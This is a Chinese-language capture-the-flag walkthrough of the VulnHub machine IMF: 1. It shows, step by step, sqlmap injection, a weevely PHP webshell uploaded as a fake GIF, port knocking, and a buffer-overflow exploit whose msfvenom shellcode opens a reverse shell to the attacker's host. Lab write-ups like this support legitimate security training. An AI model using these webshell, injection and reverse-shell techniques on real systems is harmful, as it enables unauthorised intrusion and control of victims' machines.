title: Vulnhub-IMF-1
categories:
- VulnHub
tags:
- Linux
- 二维码
- JavaScript
- PHP
- weeley
- gobuster
- nmap
- SQL注入
- 文件上传
- sqlmap
- knock
- metasploit
- 缓冲区溢出
- 端口碰撞
cover: /images/Vulnhub.png
abbrlink: 127c8ee5
date: 2023-01-13 22:59:04
Vulnhub IMF: 1<!--more-->
0x01 靶机介绍
-
Name: IMF: 1
-
Date release: 30 Oct 2016
-
Author: Geckom
-
Series: IMF
-
Difficulty : medium
靶机下载地址:
https://www.vulnhub.com/entry/imf-1,162/
0x02 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -p- -sV -sC -A 192.168.0.103 -oA nmap_IMF
扫描结果显示目标只开放了80端口
80端口
访问http://192.168.0.103
为 IMF,即不可能的任务情报署
目录探测
使用 gobuster 进行目录扫描,成功发现多个文件和目录
gobuster dir -u http://192.168.0.103 -w /usr/share/wordlists/dirb/big.txt -x php
![Vulnhub-IMF-1 Vulnhub-IMF-1]()
0x03 上线[www-data]
信息收集
在contact.php
的源代码中发现第一个flag:
flag1{YWxsdGhlZmlsZXM=}
在js
目录中发现三串特殊名字的 JavaScript 文件
重组后经 base64 解码后发现第二个flag:
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
# base64解码
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
针对拿到的两个 flag 进行 base64 解码,成功拿到字符串为allthefiles
和imfadministrator
echo "YWxsdGhlZmlsZXM=" | base64 -d
echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d
SQL注入
访问http://192.168.0.103/imfadministrator
为管理员的登录界面
在网页中发现三个邮箱地址,分别为[email protected]
、[email protected]
、[email protected]
使用邮箱地址中的用户名进行登录,但是都提示无效的用户名
rmichaels
estone
rmichaels
在 pass 参数中修改为pass[]
,成功拿到第三个flag:
flag3{Y29udGludWVUT2Ntcw==}
,经 base64 解码为continueTOcms
访问
http://192.168.0.103/imfadministrator/cms.php?pagename=home
为管理界面
截取数据包对pagename
参数尝试注入
GET /imfadministrator/cms.php?pagename=* HTTP/1.1
Host: 192.168.0.103
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.103/imfadministrator/cms.php?pagename=home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_auth=eyJpdiI6IklBYldPMmNBN082VWNHM3FkQ0Q5Rmc9PSIsInZhbHVlIjoib1cxdDFzdmhWYU1sZ0w3b0dqcHJzZmVpNm15c0xjY2RuZ1NzM0MzWm9FcklsY0lJa1g1anFrdGg4Wm81ODVXaHRDTnA1M3pDbjZtZUc2UktaVFFzYUhpQ09KK1RCZVcxQU1CcU1uWTJ0dmlWY0RjcnRqMlg3WkZhSEt5SzFtY1kybklyTDg1TVRuK1J1K0w0ekZvTzdnPT0iLCJtYWMiOiI5NWQ5ZTk1YmY1ODFhZTNiZTc5ZTEwZTY1YmVjNjcyMzJjYzhiODQ1NjFkNzEwMDRjYjFlZDU4Zjk3OWU0YjUyIn0%3D; PHPSESSID=n7arta33i3eh2p8pauvu6l5v05
Connection: close
使用 sqlmap 进行 SQL 注入获取数据,成功找到两个jpg文件
python3 sqlmap.py -r test1.txt --dump --level 5 --risk 3
分别访问两个图片http://192.168.0.103/imfadministrator/images/redacted.jpg
和http://192.168.0.103/imfadministrator/images/whiteboard.jpg
下载二维码插件:二维码生成器
点击右键对图片进行识别,成功拿到第四个flag:
flag4{dXBsb2Fkcjk0Mi5waHA=}
,经 base64 解码后为uploadr942.php
文件上传
访问http://192.168.0.103/imfadministrator/uploadr942.php
发现文件上传点
使用 weevely 生成PHP类型木马
weevely generate mac mac.php
制作图片马并添加 GIF 头文件,同时将后缀名修改为.gif
cp mac.php mac.gif# 添加头文件GIF89a31111
使用 BurpSuite 截取数据包上传图片马,返回1f99323f6a1c
为文件名
访问http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif
成功
使用 weevely 输入密码mac
成功连接,在其中找到第五个flag:
flag5{YWdlbnRzZXJ2aWNlcw==}
经 base64 解码为agentservices
weevely http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif mac
0x04 权限提升[root]
信息收集
由于提示为代理服务,在服务器中搜索名称agent
,成功发现/usr/local/bin/agent
find / -name agent &> /dev/null
agent
执行后发现7788端口已开放
netstat -ntlp
在usr/local/bin
目录下还存在文件access_codes
,查看后发现端口:7482、8279、9467
端口碰撞
端口碰撞是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。
在本地下载 knock
git clone https://github.com/grongor/knock.git
使用 knock 依次访问7482、8279、9467端口,最终成功打开7788端口
./knock 192.168.0.103 7482 8279 9467nc 192.168.0.103 7788
在 weevely 中下载agent
至本地
:file_download /usr/local/bin/agent /root/vulnhub/imf/agent
分析发现agent
是 ELF 32位 的文件
file agent
缓冲区溢出
使用 ltrace 跟踪agent
程序运行时所调用库函数的情况
chmod +x agentltrace ./agent
经测试输入任何值都会返回48093572,因此尝试在agent ID
中输入48093572,验证成功
使用 MSF 生成用于反弹shell的 shellcode
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.0.104 lport=5555 -f python -b "x00x0ax0b"
buf = b""
buf += b"xddxc5xd9x74x24xf4xb8xc5x85xccx11x5ex31"
buf += b"xc9xb1x12x31x46x17x03x46x17x83x03x81x2e"
buf += b"xe4xbax51x59xe4xefx26xf5x81x0dx20x18xe5"
buf += b"x77xffx5bx95x2ex4fx64x57x50xe6xe2x9ex38"
buf += b"x39xbcx61xd0xd1xbfx61x35x91x49x80x85xb3"
buf += b"x19x12xb6x88x99x1dxd9x22x1dx4fx71xd3x31"
buf += b"x03xe9x43x61xccx8bxfaxf4xf1x19xaex8fx17"
buf += b"x2dx5bx5dx57"
把 shellcode 添加至 agent 利用代码中
利用代码地址:
https://github.com/jessekurrus/agentsploit
在本地通过 MSF 监听5555端口
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.104
msf6 exploit(multi/handler) > set lport 5555
msf6 exploit(multi/handler) > exploit -j
执行利用代码
python agentsploit.py 192.168.0.103 7788
成功收到反弹shell,同时拿到第六个flag:
flag6{R2gwc3RQcm90MGMwbHM=}
cat /root/Flag.tx
0x05 知识星球
原文始发于微信公众号(狐狸说安全):Vulnhub-IMF-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论